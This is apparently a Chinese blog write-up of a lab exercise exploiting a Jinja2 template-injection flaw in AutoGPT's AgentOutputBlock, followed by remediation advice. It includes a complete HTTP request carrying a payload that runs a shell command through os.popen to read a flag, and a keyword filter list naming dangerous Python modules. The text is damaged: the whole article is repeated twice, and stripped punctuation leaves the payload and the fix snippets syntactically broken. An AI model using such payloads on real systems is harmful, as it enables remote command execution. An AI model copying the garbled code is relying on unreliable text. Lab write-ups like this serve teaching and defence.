1.前言摘要本文介绍了AutoGPT平台中AgentOutputBlock组件的Jinja2模板注入漏洞。该漏洞源于受影响版本中直接使用未启用沙箱环境的jinja2.Environment处理用户输入导致攻击者可通过构造恶意模板字符串执行系统命令。文章通过靶场实践演示了如何利用此漏洞获取flag包括漏洞原理分析、靶场环境启动以及具体的攻击Payload构造。2.漏洞复现这里我们能得到的信息是AutoGPT 是一个开源的 AI 智能体开发部署平台。受影响版本中其 AgentOutputBlock 实现中存在漏洞代码中直接使用了 jinja2.Environment在处理用户输入的格式字符串时默认未启用 Jinja2 的沙箱环境导致恶意输入可以被传递到模板引擎中攻击者可通过 Jinja2 的 os、subprocess 等模块执行系统命令。启动靶场我们会直接得到如下图所示的画面这里直接构造博主如下的请求包就可以完成攻击获取 flagPOST /render HTTP/1.1 Host: 39.106.48.123:18787 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: langzh-CN Upgrade-Insecure-Requests: 1 Priority: u0, i Content-Length: 117 { template: {{ self._TemplateReference__context.cycler.init.globals.os.popen(cat /flag).read() }} }3. 修复建议针对 AutoGPT 中 AgentOutputBlock 组件的 Jinja2 模板注入漏洞开发人员可以采取以下安全措施进行修复3.1 启用 Jinja2 沙箱环境最直接的修复方式是启用 Jinja2 的沙箱环境限制模板引擎的执行能力from jinja2 import Environment, SandboxedEnvironment 不安全的用法原漏洞代码 env Environment() 安全的用法 - 启用沙箱环境 env SandboxedEnvironment()SandboxedEnvironment 会限制对危险函数和属性的访问防止执行系统命令。3.2 严格输入验证和过滤对用户输入的模板字符串进行严格的验证和过滤白名单验证只允许特定的模板变量和过滤器内容过滤移除或转义危险字符和关键字如__globals__、os、subprocess、eval等长度限制限制模板字符串的最大长度3.3 使用安全的模板渲染配置配置 Jinja2 环境时禁用危险的功能env Environment( autoescapeTrue, # 启用自动转义 undefinedStrictUndefined, # 严格模式未定义变量报错 # 禁用危险功能 extensions[], # 自定义过滤器限制可用功能 filters{} )3.4 最小权限原则在运行 AutoGPT 或类似应用时使用非特权用户运行应用程序限制文件系统访问权限在容器或沙箱环境中运行定期更新依赖库到安全版本3.5 安全审计和测试建议进行以下安全实践代码审计定期检查代码中是否存在类似的模板注入风险渗透测试模拟攻击者尝试各种注入 payload依赖扫描使用工具扫描第三方库的安全漏洞安全培训提高开发人员对模板注入等安全问题的认识通过以上措施可以有效防止 Jinja2 模板注入漏洞确保 AutoGPT 平台的安全运行。
1.前言摘要本文介绍了AutoGPT平台中AgentOutputBlock组件的Jinja2模板注入漏洞。该漏洞源于受影响版本中直接使用未启用沙箱环境的jinja2.Environment处理用户输入导致攻击者可通过构造恶意模板字符串执行系统命令。文章通过靶场实践演示了如何利用此漏洞获取flag包括漏洞原理分析、靶场环境启动以及具体的攻击Payload构造。2.漏洞复现这里我们能得到的信息是AutoGPT 是一个开源的 AI 智能体开发部署平台。受影响版本中其 AgentOutputBlock 实现中存在漏洞代码中直接使用了 jinja2.Environment在处理用户输入的格式字符串时默认未启用 Jinja2 的沙箱环境导致恶意输入可以被传递到模板引擎中攻击者可通过 Jinja2 的 os、subprocess 等模块执行系统命令。启动靶场我们会直接得到如下图所示的画面这里直接构造博主如下的请求包就可以完成攻击获取 flagPOST /render HTTP/1.1 Host: 39.106.48.123:18787 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: langzh-CN Upgrade-Insecure-Requests: 1 Priority: u0, i Content-Length: 117 { template: {{ self._TemplateReference__context.cycler.init.globals.os.popen(cat /flag).read() }} }3. 修复建议针对 AutoGPT 中 AgentOutputBlock 组件的 Jinja2 模板注入漏洞开发人员可以采取以下安全措施进行修复3.1 启用 Jinja2 沙箱环境最直接的修复方式是启用 Jinja2 的沙箱环境限制模板引擎的执行能力from jinja2 import Environment, SandboxedEnvironment 不安全的用法原漏洞代码 env Environment() 安全的用法 - 启用沙箱环境 env SandboxedEnvironment()SandboxedEnvironment 会限制对危险函数和属性的访问防止执行系统命令。3.2 严格输入验证和过滤对用户输入的模板字符串进行严格的验证和过滤白名单验证只允许特定的模板变量和过滤器内容过滤移除或转义危险字符和关键字如__globals__、os、subprocess、eval等长度限制限制模板字符串的最大长度3.3 使用安全的模板渲染配置配置 Jinja2 环境时禁用危险的功能env Environment( autoescapeTrue, # 启用自动转义 undefinedStrictUndefined, # 严格模式未定义变量报错 # 禁用危险功能 extensions[], # 自定义过滤器限制可用功能 filters{} )3.4 最小权限原则在运行 AutoGPT 或类似应用时使用非特权用户运行应用程序限制文件系统访问权限在容器或沙箱环境中运行定期更新依赖库到安全版本3.5 安全审计和测试建议进行以下安全实践代码审计定期检查代码中是否存在类似的模板注入风险渗透测试模拟攻击者尝试各种注入 payload依赖扫描使用工具扫描第三方库的安全漏洞安全培训提高开发人员对模板注入等安全问题的认识通过以上措施可以有效防止 Jinja2 模板注入漏洞确保 AutoGPT 平台的安全运行。
